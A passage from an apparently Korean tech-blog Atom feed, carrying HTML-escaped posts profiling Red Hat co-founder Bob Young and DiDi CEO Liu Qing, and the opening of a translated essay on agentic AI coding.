this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1728" height="2428" data-origin-width="1728" data-origin-height="2428"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;케나다 온타리오 주에서 태어난 밥 영은 대학에서 역사학을 전공합니다. 대학 졸업 이후 컴퓨터 렌탈사업 등 여러 형태의 사업을 시도합니다. 그 가운데에서 그의 인생에 가장 큰 영향을 미친 시도가 바로 1993년 설립한 ACC Corp 입니다. ACC Corp는 오픈소스 소프트웨어 카달로그를 판매했습니다. 당시 인터넷 속도, 특히 미국의 인터넷 속도는 너무 느려서 리눅스같은 덩치가 큰 소프트웨어를 내려받기 힘들었습니다. 밥 영은 유닉스 관련 잡지, 공개 소프트웨어 CD등을 우편 주문 방식으로 판매했습니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;이때 노스캐롤라이나에서 자신의 배포판을 만들던 &lt;a href="https://neozest2.tistory.com/entry/MarcEwingCreatedRedHatLinux" target="_blank" rel="noopener"&gt;마크 유잉(Marc Ewing)&lt;/a&gt;을 만납니다. (마크 유잉은 이미 소개한 적이 있죠.) 밥 영은 마크의 기술력에 자신이 가진 유통 감각이 더해지면 거대한 시장이 열릴 것이라고 직감했습니다. 1995년 둘은 레드햇소프트웨어를 공동으로 창업합니다. 레드햇 리눅스를 만든 후 '코드는 무료지만, 안정성과 책임은 유료다'라는 논리로 대기업을 설득하였으며, 지금까지도 레드햇은 서비스 구독 사업 모델을 유지하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그의 통찰은 소프트웨어 제품의 시대는 저물고, 서비스 형태로 판매하는 시대가 다가올 것을 예견했습니다. 그는 '일반인도 리눅스를 쉽게 사용할 수 있어야 비즈니스로 성공한다'고 믿었고, 리눅스가 엔지니어들의 전유물이 아닌 비즈니스 솔루션으로 거듭나야 한다고 방향성을 명확히 했습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그는 무료로 사용할 수 있는 오픈소스를 어떻게 돈을 주고 구매하냐는 질문에 케첩을 예로 들었다고 합니다.&lt;/p&gt;
&lt;blockquote data-ke-style="style1"&gt;&lt;span style="font-family: 'Noto Serif KR';"&gt;누구나 직접 토마토를 사다가 집에서 케첩을 만들 수 있지만, 사람들은 하인즈(Heinz) 케첩을 구매합니다. 하인즈가 제공하는 품질의 일관성과 편리함, 그리고 신뢰를 믿기 때문이죠.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt;이 논리는 오픈소스 비즈니스 모델의 정석으로 받아들여졌고, 지금도 수많은 오픈소스 기업들이 수익을 창출하는 근거가 되고 있습니다. 그의 브랜딩과 사업모델 덕분에 유닉스 일변도였던 기업 시장에서 리눅스가 신뢰할 수 있는 대안 운영체제로 자리잡게 됩니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;1999년 레드햇이 나스닥에 상장되었을 때 그는 CEO로서 IPO 주식 매수권을 오픈소스 개발자들에게&amp;nbsp; 부여합니다. 이는 리눅스 공동체가 없었다면 레드햇도 존재할 수 없다는 그의 철학을 실천으로 옮긴 한 사례로 소개됩니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;밥 영은 레드햇 CEO에서 내려온 후 레드햇에서 배운 '중앙집중된 권력을 사용자에게 되돌려주는 법'을 출판업계에 그대로 이식하여, 주문형 출판 시스템 업체인 루루닷컴을 설립합니다. 책이 팔리면 인쇄를 하는 시스템이었기 때문에 재고가 없었습니다. 또한 작가에게 수익 80%를 공유하는 구조를 운영하였습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;우리는 시장을 독점하려는 마이크로소프트와 경쟁하는 것이 아니라, 사용자가 자신의 컴퓨팅 환경을 직접 제어할 수 있는 자유를 위해 싸운다.&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;나는 세계에서 가장 똑똑한 사람이 아니다. 하지만 나는 세계에서 가장 똑똑한 사람들을 내 주변에 모으는 방법은 알고 있다&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=uUMCQpitNYU" data-video-thumbnail="https://scrap.kakaocdn.net/dn/d5HeaE/dJMb88F9Hd7/vGR6Ce6heDzcRHnQFsSbz1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=546_282_656_402,https://scrap.kakaocdn.net/dn/Wcakq/dJMb8Z3v5NO/RcDqlajaZxRj9FoGJ99d3k/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=546_282_656_402" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="#95: From Startup to Grown-Up: Bob Young, co-founder of Red Hat - The origin of Open Source; the ..." data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/uUMCQpitNYU" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=9j9oOBgdLsQ" data-video-thumbnail="https://scrap.kakaocdn.net/dn/LhnaR/dJMb8T94io9/uyT0NuhgFCWS0VbXP6hv0K/img.jpg?width=480&amp;amp;height=360&amp;amp;face=111_85_299_290,https://scrap.kakaocdn.net/dn/xx5h8/dJMb8Rj6Jqi/p5flWyZLjPUDLYXCJCZMp0/img.jpg?width=480&amp;amp;height=360&amp;amp;face=111_85_299_290,https://scrap.kakaocdn.net/dn/vGGSU/dJMb8Z3v5OE/coK0md1brehls0SvHJiFP1/img.jpg?width=480&amp;amp;height=360&amp;amp;face=111_85_299_290" data-video-width="480" data-video-height="360" data-video-origin-width="480" data-video-origin-height="360" data-ke-mobilestyle="widthContent" data-video-title="Bob Young - The Software Industry and the Open Source Movement" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/9j9oOBgdLsQ" width="480" height="360" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=_AyxdGrby7w" data-video-thumbnail="https://scrap.kakaocdn.net/dn/hbSJi/dJMb9hC5W9s/QO2uOuy3NOkQ1UxJXV5c01/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=418_220_688_514,https://scrap.kakaocdn.net/dn/nxZ2X/dJMb8T94ipt/XID4eldX7G8Mkajkr2fReK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=418_220_688_514,https://scrap.kakaocdn.net/dn/bpAHgb/dJMb8RRWCQt/fukCaUUlryM9ormSLZQn2K/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=418_220_688_514" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="[OLF 2020 Keynote] Building Open Business with Bob Young, RED HAT Founder" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/_AyxdGrby7w" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=L7y8u3G59gY" data-video-thumbnail="https://scrap.kakaocdn.net/dn/Wo9S7/dJMb8WeErfY/9Ebm7KmwDHxoVq5tLDjj0K/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/ibt59/dJMb8YXQkmz/wgRq0XaooXpIBi8QWnHRV0/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/L0zbi/dJMb8ZvGbFM/hmQ9Su90ZWILARJ8rlkKlk/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="FSOSS 2014 Bob Young Day 2 Keynote #1" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/L7y8u3G59gY" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=q-vKb-z1huM" data-video-thumbnail="https://scrap.kakaocdn.net/dn/bAi1Hu/dJMb8SXCyJC/TjMJ96vlLKcHUk2mUJtunK/img.jpg?width=480&amp;amp;height=360&amp;amp;face=242_116_291_169,https://scrap.kakaocdn.net/dn/cOrtXa/dJMb8YpZ8E9/bw6ayiTXALX7PrX55LcCq1/img.jpg?width=480&amp;amp;height=360&amp;amp;face=242_116_291_169,https://scrap.kakaocdn.net/dn/cpc7MC/dJMb9jgB1d4/Eg9kDuBPNUVnhD2SOowcck/img.jpg?width=480&amp;amp;height=360&amp;amp;face=242_116_291_169" data-video-width="480" data-video-height="360" data-video-origin-width="480" data-video-origin-height="360" data-ke-mobilestyle="widthContent" data-video-title="Bob Young - Things That Bug Me! (2/26/2009)" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/q-vKb-z1huM" width="480" height="360" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=FJVEAXlPadg" data-video-thumbnail="https://scrap.kakaocdn.net/dn/3Ogv4/dJMb9iaVQ96/LhprgZMk0HSd3v0HExfeA1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/5HVEI/dJMb9jgB1ec/VPSjNgLkSh3N8wMEHk2fgK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720" data-video-width="860" data-video-height="484" data-video-origin-width="860" data-video-origin-height="484" data-ke-mobilestyle="widthContent" data-video-title="All Things Open 2014 | Bob Young | So You Want To Start an Open Source Company" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/FJVEAXlPadg" width="860" height="484" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type="video" data-ke-style="alignCenter" data-video-host="youtube" data-video-url="https://www.youtube.com/watch?v=BpuGvcsqn3o" data-video-thumbnail="https://scrap.kakaocdn.net/dn/p7W01/dJMb8U8YlVd/Kk6jQquOECI3Sf9iNv7gjK/img.jpg?width=480&amp;amp;height=360&amp;amp;face=0_0_480_360,https://scrap.kakaocdn.net/dn/2ahFB/dJMb8ZvGbFY/YdPTwK8vwlXycyIelSzbAK/img.jpg?width=480&amp;amp;height=360&amp;amp;face=0_0_480_360,https://scrap.kakaocdn.net/dn/bjA0Re/dJMb8U8YlVc/hQy0GKIRTKz6OKaGhFDTx0/img.jpg?width=480&amp;amp;height=360&amp;amp;face=0_0_480_360" data-video-width="480" data-video-height="360" data-video-origin-width="480" data-video-origin-height="360" data-ke-mobilestyle="widthContent" data-video-title="Startup Summit II - Fireside Chat with Bob Young (8 of 9)" data-original-url=""&gt;&lt;iframe src="https://www.youtube.com/embed/BpuGvcsqn3o" width="480" height="360" frameborder="" allowfullscreen="true"&gt;&lt;/iframe&gt;
&lt;figcaption style="display: none;"&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;</summary>
    <title>오픈 소스의 철학을 비즈니스의 언어로 풀어낸 레드햇 경영자 밥 영(Bob Young)</title>
    <updated>2026-05-18T00:00:23+09:00</updated>
    <dc:date>2026-05-18T00:00:23+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>코드리더</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1792" data-origin-height="2388"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/siAdB/dJMcag6wRIb/eEh3pSjwDmLq0vo0iINKnk/img.png" data-phocus="https://blog.kakaocdn.net/dn/siAdB/dJMcag6wRIb/eEh3pSjwDmLq0vo0iINKnk/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/siAdB/dJMcag6wRIb/eEh3pSjwDmLq0vo0iINKnk/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsiAdB%2FdJMcag6wRIb%2FeEh3pSjwDmLq0vo0iINKnk%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1792" height="2388" data-origin-width="1792" data-origin-height="2388"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;중국의 모바일 교통 플랫폼은 디디(DiDi)입니다. Didi를 이끌고 있는 여성 CEO, 류칭(류청, &lt;span style="background-color: #f8f9fa; color: #000000; text-align: center;"&gt;柳青)입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;류칭은 1978년 중국 베이징 부유한 집안에서 태어났습니다. 할아버지는 중국은행 임원이었던 류구슈이고, 아버지는 레노버의 창립자 류촨즈입니다. 그녀는 베이징대학교에서 전산학 학사를, 하버드 대학교에서 전산학 석사를 받습니다. 어릴적 빌게이츠의 &amp;lt;미래로 가는 길&amp;gt;을 읽고 감동을 받아 전산학을 전공했다고 합니다. 아버지가 자식들에게 회사를 물려주지 않을 것이라고 일찍이 천명했었기 때문에 류칭은 아버지의 정체를 숨기고 대학 3학년때 레노보의 경쟁사였던 컴팩사로 부터 장학금을 받고 인턴생활을 합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;대학 졸업후에는 골드만 삭스 아시아에서 12년동안 근무했습니다. 하버드를 졸업해도 골드만삭스는 쉽게 취업할 수 있는 곳이 아니었습니다. 그녀는 무료 18차례의 채용 심사를 걸쳤고, 최종 심사에는 셀린디온의 "My heart will go on"노래까지 부르면서 자신은 골드만삭스에 입사하고 싶다고 어필했다고 합니다. 이후 매주 100시간 넘게 근무하면서, 2012년 역대 최연소 상무로 승진합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;2014년 7월 그녀는 연봉까지 깎으면서 디디다처(Didi Dache)에 합류했고, 경쟁사였던 콰이디다처(Kuaidi Dache)와의 합병을 주도한 후 Didi Kuaidi라는 차량 호출 회사를 설립했습니다. 이 과정에서 류칭은 차량 공유 플랫폼 시장에 관심을 보이는 모든 투자펀드를 설득해서 3주만에 7억 달러를 유치했다고 합니다. 이 회사는 나중에 이름을 디디추싱(Didi Chuxing, &lt;span style="background-color: #ffffff; color: #1f1f1f; text-align: start;"&gt;滴滴出行)&lt;/span&gt;으로 변경합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그녀는 중국 모바일 교통 플랫폼 시장에서 우버를 몰아내고, 시장 1위 업체를 만드는데 성공합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;"항상 경기에 집중해야 합니다. 뒤를 돌아보거나 옆을 돌아보면 뒤처지게 되죠."&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;“우리 아버지(류촨즈 레노버 창업자)는 내게 ‘원래 힘든 거야’라는 말을 마음에 지니라고 했다. 일이 ‘원래 힘든 것’이라고 생각하면, 그렇게 어렵게 느껴지지 않는다. 일을 즐기고 재미를 찾을 수 있게 된다.”&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;figure id="og_1778422699823" contenteditable="false" data-ke-type="opengraph" data-ke-align="alignCenter" data-og-type="website" data-og-title="미래로 가는 길 | 빌게이츠 - 교보문고" data-og-description="미래로 가는 길 |" data-og-host="product.kyobobook.co.kr" data-og-source-url="https://product.kyobobook.co.kr/detail/S000001207127" data-og-url="https://product.kyobobook.co.kr/detail/S000001207127" data-og-image="https://scrap.kakaocdn.net/dn/b8yJUl/dJMb8YXP3BZ/w2kTZerdvy3FKApLTKFJ00/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664,https://scrap.kakaocdn.net/dn/cdqdmz/dJMb9hC5G5R/fYNPPBXHjKjL7IwIgcTG10/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664"&gt;&lt;a href="https://product.kyobobook.co.kr/detail/S000001207127" target="_blank" rel="noopener" data-source-url="https://product.kyobobook.co.kr/detail/S000001207127"&gt;
&lt;div class="og-image" style="background-image: url('https://scrap.kakaocdn.net/dn/b8yJUl/dJMb8YXP3BZ/w2kTZerdvy3FKApLTKFJ00/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664,https://scrap.kakaocdn.net/dn/cdqdmz/dJMb9hC5G5R/fYNPPBXHjKjL7IwIgcTG10/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664');"&gt; &lt;/div&gt;
&lt;div class="og-text"&gt;
&lt;p class="og-title" data-ke-size="size16"&gt;미래로 가는 길 | 빌게이츠 - 교보문고&lt;/p&gt;
&lt;p class="og-desc" data-ke-size="size16"&gt;미래로 가는 길 |&lt;/p&gt;
&lt;p class="og-host" data-ke-size="size16"&gt;product.kyobobook.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://neozest2.tistory.com/entry/LiuQingDidi</id>
    <link href="https://neozest2.tistory.com/entry/LiuQingDidi"/>
    <summary type="html">&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-origin-width="1792" data-origin-height="2388"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/siAdB/dJMcag6wRIb/eEh3pSjwDmLq0vo0iINKnk/img.png" data-phocus="https://blog.kakaocdn.net/dn/siAdB/dJMcag6wRIb/eEh3pSjwDmLq0vo0iINKnk/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/siAdB/dJMcag6wRIb/eEh3pSjwDmLq0vo0iINKnk/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsiAdB%2FdJMcag6wRIb%2FeEh3pSjwDmLq0vo0iINKnk%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1792" height="2388" data-origin-width="1792" data-origin-height="2388"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;중국의 모바일 교통 플랫폼은 디디(DiDi)입니다. Didi를 이끌고 있는 여성 CEO, 류칭(류청, &lt;span style="background-color: #f8f9fa; color: #000000; text-align: center;"&gt;柳青)입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;류칭은 1978년 중국 베이징 부유한 집안에서 태어났습니다. 할아버지는 중국은행 임원이었던 류구슈이고, 아버지는 레노버의 창립자 류촨즈입니다. 그녀는 베이징대학교에서 전산학 학사를, 하버드 대학교에서 전산학 석사를 받습니다. 어릴적 빌게이츠의 &amp;lt;미래로 가는 길&amp;gt;을 읽고 감동을 받아 전산학을 전공했다고 합니다. 아버지가 자식들에게 회사를 물려주지 않을 것이라고 일찍이 천명했었기 때문에 류칭은 아버지의 정체를 숨기고 대학 3학년때 레노보의 경쟁사였던 컴팩사로 부터 장학금을 받고 인턴생활을 합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;대학 졸업후에는 골드만 삭스 아시아에서 12년동안 근무했습니다. 하버드를 졸업해도 골드만삭스는 쉽게 취업할 수 있는 곳이 아니었습니다. 그녀는 무료 18차례의 채용 심사를 걸쳤고, 최종 심사에는 셀린디온의 "My heart will go on"노래까지 부르면서 자신은 골드만삭스에 입사하고 싶다고 어필했다고 합니다. 이후 매주 100시간 넘게 근무하면서, 2012년 역대 최연소 상무로 승진합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;2014년 7월 그녀는 연봉까지 깎으면서 디디다처(Didi Dache)에 합류했고, 경쟁사였던 콰이디다처(Kuaidi Dache)와의 합병을 주도한 후 Didi Kuaidi라는 차량 호출 회사를 설립했습니다. 이 과정에서 류칭은 차량 공유 플랫폼 시장에 관심을 보이는 모든 투자펀드를 설득해서 3주만에 7억 달러를 유치했다고 합니다. 이 회사는 나중에 이름을 디디추싱(Didi Chuxing, &lt;span style="background-color: #ffffff; color: #1f1f1f; text-align: start;"&gt;滴滴出行)&lt;/span&gt;으로 변경합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;그녀는 중국 모바일 교통 플랫폼 시장에서 우버를 몰아내고, 시장 1위 업체를 만드는데 성공합니다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;"항상&amp;nbsp;경기에&amp;nbsp;집중해야&amp;nbsp;합니다.&amp;nbsp;뒤를&amp;nbsp;돌아보거나&amp;nbsp;옆을&amp;nbsp;돌아보면&amp;nbsp;뒤처지게&amp;nbsp;되죠."&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style="style3"&gt;&amp;ldquo;우리 아버지(류촨즈 레노버 창업자)는 내게 &amp;lsquo;원래 힘든 거야&amp;rsquo;라는 말을 마음에 지니라고 했다. 일이 &amp;lsquo;원래 힘든 것&amp;rsquo;이라고 생각하면, 그렇게 어렵게 느껴지지 않는다. 일을 즐기고 재미를 찾을 수 있게 된다.&amp;rdquo;&lt;/blockquote&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id="og_1778422699823" contenteditable="false" data-ke-type="opengraph" data-ke-align="alignCenter" data-og-type="website" data-og-title="미래로 가는 길 | 빌게이츠 - 교보문고" data-og-description="미래로 가는 길 |" data-og-host="product.kyobobook.co.kr" data-og-source-url="https://product.kyobobook.co.kr/detail/S000001207127" data-og-url="https://product.kyobobook.co.kr/detail/S000001207127" data-og-image="https://scrap.kakaocdn.net/dn/b8yJUl/dJMb8YXP3BZ/w2kTZerdvy3FKApLTKFJ00/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664,https://scrap.kakaocdn.net/dn/cdqdmz/dJMb9hC5G5R/fYNPPBXHjKjL7IwIgcTG10/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664"&gt;&lt;a href="https://product.kyobobook.co.kr/detail/S000001207127" target="_blank" rel="noopener" data-source-url="https://product.kyobobook.co.kr/detail/S000001207127"&gt;
&lt;div class="og-image" style="background-image: url('https://scrap.kakaocdn.net/dn/b8yJUl/dJMb8YXP3BZ/w2kTZerdvy3FKApLTKFJ00/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664,https://scrap.kakaocdn.net/dn/cdqdmz/dJMb9hC5G5R/fYNPPBXHjKjL7IwIgcTG10/img.png?width=458&amp;amp;height=664&amp;amp;face=0_0_458_664');"&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class="og-text"&gt;
&lt;p class="og-title" data-ke-size="size16"&gt;미래로 가는 길 | 빌게이츠 - 교보문고&lt;/p&gt;
&lt;p class="og-desc" data-ke-size="size16"&gt;미래로 가는 길 |&lt;/p&gt;
&lt;p class="og-host" data-ke-size="size16"&gt;product.kyobobook.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;</summary>
    <title>중국 엄친딸, 중국판 타다인  디디추싱의 CEO 류칭</title>
    <updated>2026-05-14T00:00:32+09:00</updated>
    <dc:date>2026-05-14T00:00:32+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>안샛별</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;blockquote&gt;
&lt;p&gt;이 글은 원저자의 허가 하에 &lt;a href="https://addyo.substack.com/p/the-80-problem-in-agentic-coding"&gt;The 80% Problem in Agentic Coding&lt;/a&gt; 아티클을 한국어로 번역한 글입니다. 약간의 의역 및 오역이 포함될 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://open.substack.com/users/23972309-andrej-karpathy?utm_source=mentions"&gt;앤드레이 카파시&lt;/a&gt;가 이번 주에 한 말 덕분에 많은 생각을 하게 됐습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"저는 80%의 수동 코딩과 20%의 자동완성 및 에이전트 코딩에서, 80%의 에이전트 코딩과 20%의 수정 코딩으로 넘어갔습니다. 이제 대부분 영어로만 프로그래밍하고 있습니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이런 전환이 2025년 말 몇 주 만에 일어났습니다. 기존 레거시 앱보단 새로 시작하는 개인 프로젝트에선 확실히 더 빠르게 전환이 이루어질 것이고, &lt;strong&gt;AI가 우리를 데려다주는 수준은 1년 전보다 더 올라갔을 거라고&lt;/strong&gt; 생각합니다. 모델, 스펙, 스킬, MCP, 그리고 우리 워크플로가 나아진 덕분입니다.&lt;/p&gt;
&lt;p&gt;최근 클로드 코드를 만든 보리스 체르니도 비슷한 얘기를 했습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"저희 코드는 거의 100%, 클로드 코드와 오퍼스 4.5로 작성됩니다. 저 개인적으로는 2개월 넘게 100% 그렇게 개발했고, 작은 수정도 직접 하지 않습니다. 어제 PR 22개, 그저께 27개를 올렸는데, 전부 클로드가 쓴 겁니다. 몇 달 안에 업계 대부분도 비슷한 수치를 보게 될 것 같아요. 그 전환이 얼마나 빨리 이루어지는 정도의 차이일 뿐입니다."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;저는 예전에 &lt;a href="https://addyo.substack.com/p/the-70-problem-hard-truths-about"&gt;"70% 문제"&lt;/a&gt;에 대해 쓴 적이 있습니다. AI 코딩이 70%를 차지하고, 마지막 30% 구간만 사람이 채우는 구도에 대한 내용이었습니다. 하지만 문제의 틀이 바뀌고 있는 것 같습니다. AI가 차지하는 숫자는 80% 혹은 그 이상이 될 수 있지만, 그것보단 문제 자체가 크게 달라졌습니다.&lt;/p&gt;
&lt;p&gt;아르민 로나허의 개발자 5,000명을 대상으로 한 &lt;a href="https://x.com/mitsuhiko/status/2010446141817844207"&gt;설문&lt;/a&gt;이 제 가설을 뒷받침합니다. 답변자 44%가 직접 작성하는 코드는 10% 미만에 불과하며, 그 외 26%는 10~50% 정도를 직접 작성한다고 합니다. 한계선을 넘어버린 것입니다. 그런데 에이전트 만능 담론에서 놓치고 있는 게 있습니다. 문제는 사라진 것이 아니라 옮겨갔을 뿐이고, 어떤 건 더 나빠졌다는 사실입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;한 가지 짚어보자면, 새 사이드 프로젝트에서는 80% 이상 에이전트 코딩으로 넘어가는 걸 확실히 느꼈습니다. 하지만 대형·기존 앱, 특히 팀 프로젝트의 상황은 많이 다릅니다. 기대치도 다를 뿐더러, 에이전트 코딩으로의 전환은 앞으로 우리가 갈 방향의 맛보기일 뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="실수의-형태가-바뀌었습니다"&gt;실수의 형태가 바뀌었습니다&lt;/h2&gt;
